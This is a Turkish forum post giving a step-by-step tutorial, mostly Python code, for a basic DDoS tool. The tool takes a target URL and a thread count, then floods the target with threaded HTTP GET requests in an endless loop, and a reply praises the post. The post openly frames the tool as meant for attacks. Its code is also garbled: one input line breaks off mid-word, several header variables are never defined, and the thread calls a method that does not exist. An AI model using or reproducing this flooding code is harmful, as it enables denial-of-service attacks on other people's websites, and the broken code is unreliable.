Basic DDOS Tool Yapımı

HyTra

Efsane Üye
Katılım
25 Nis 2021
Mesajlar
1,308
Beğeniler
432
Merhaba ben HyTra bu konuda size DDOS tool yapmayı basit şekilde anlatacağım.



1. İlk olarak, gereken modülleri yükleyelim: sys, threading, pyfiglet, requests, bs4, colorama ve time

Python:
import sys
import threading
import pyfiglet
import requests
from bs4 import BeautifulSoup
import colorama
import time
colorama.init()

2. Ardından, başlık için bir ASCII artı tasarımı oluşturulur ve renkli bir şekilde ekrana yazdırılır.

Python:
print(colorama.Fore.LIGHTYELLOW_EX)
print("""

   _____       _                               
  / ____|     | |                              
 | |  __ _   _| |_ _ __ ___   __ _ _ __  _ __  
 | | |_ | | | | __| '_ ` _ \ / _` | '_ \| '_ \ 
 | |__| | |_| | |_| | | | | | (_| | | | | | | |
  \_____|\__,_|\__|_| |_| |_|\__,_|_| |_|_| |_|
                                               
                                               
                                                                      
                                                                      
      
""")

3. Sonra, kullanıcıdan aşağıdaki girdileri isteyelim:
  • URL: Saldırı yapılacak web sayfasının URL adresi.
  • THREAD: Saldırıda kullanılacak thread sayısı (varsayılan değer 500).
  • Referer, User-Agent, Cookie, Content-Type, ve Accept: HTTP isteği için kullanılacak header bilgileri.
Python:
print(colorama.Fore.LIGHTCYAN_EX+"[*]" + colorama.Fore.LIGHTRED_EX+" Konudaki DDOS Toolu manuel ve kısa süreli DDOS attackları için tasarlanmıştı sorumluluk kullanıcıya aittir.")
colorama.init()
print(colorama.Fore.LIGHTBLUE_EX)
colorama.init()
url = input("[*]" + colorama.Fore.LIGHTRED_EX +" URL :")
colorama.init()
print(colorama.Fore.LIGHTBLUE_EX)
colorama.init()
threadsayi = input("[*]" + colorama.Fore.LIGHTRED_EX+" THREAD (500) :")
colorama.init()
print(colorama.Fore.LIGHTBLUE_EX)
colorama.init()
referer = input("[*]" + colorama.Fore.LIGHTR

4. Kullanıcıdan alınan girdiler, headers değişkenine atanır.

Python:
headers = {
    'referer':referer,
    'user-agent' : useragent,
    'accept' :accept,
    'content-type' :contenttype,
    'cookie' :cookie,
}

5. Attack sınıfı tanımlanır. Sınıfın ddosat metodu, requests kütüphanesini kullanarak URL adresine bir HTTP GET isteği yapar ve yanıtı soup değişkenine atar. Yanıtın başlığı ekrana "Attack sended response title : " şeklinde verilir. Eğer yanıt alınamazsa, bir hata mesajı yazdırılır.

Python:
class Attack:
    def ddosat(self):
        try:
            s = requests.get(url,headers=headers)
            soup = BeautifulSoup(s.content,"html.parser")
            print(colorama.Fore.LIGHTGREEN_EX+"Attack sended response title : "+soup.title)
        except:

            print(colorama.Fore.LIGHTRED_EX+"İstek gönderildi ama web server kapalı!")

6. Attack sınıfının __init__ metodu tanımlanır ve ddosat metodu için bir thread oluşturulur ve start metodu ile başlatılır.

Python:
    def __init__(self):
        t1 =threading.Thread(target=self.ananat)
        t1.start()

7. Son olarak, sürekli bir while döngüsü yapılır ve threadsayi değişkeninde belirtilen sayı kadar Attack nesnesi oluşturulur ve hepsi aynı anda başlatılır.

Python:
while True:
    for i in range(int(threadsayi)):
        Attack()



Sorunuz olursa belirtebilirsiniz, İyi Forumlar.
 
Moderatör tarafında düzenlendi:
Kodları teker teker ayırıp nerede ne yaptığımızı güzelce açıklamışsın. Gerçekten faydalı bir içerik olmuş. Ellerinize sağlık
 

  Şuanda konuyu görüntüleyen kullanıcılar


Üst Alt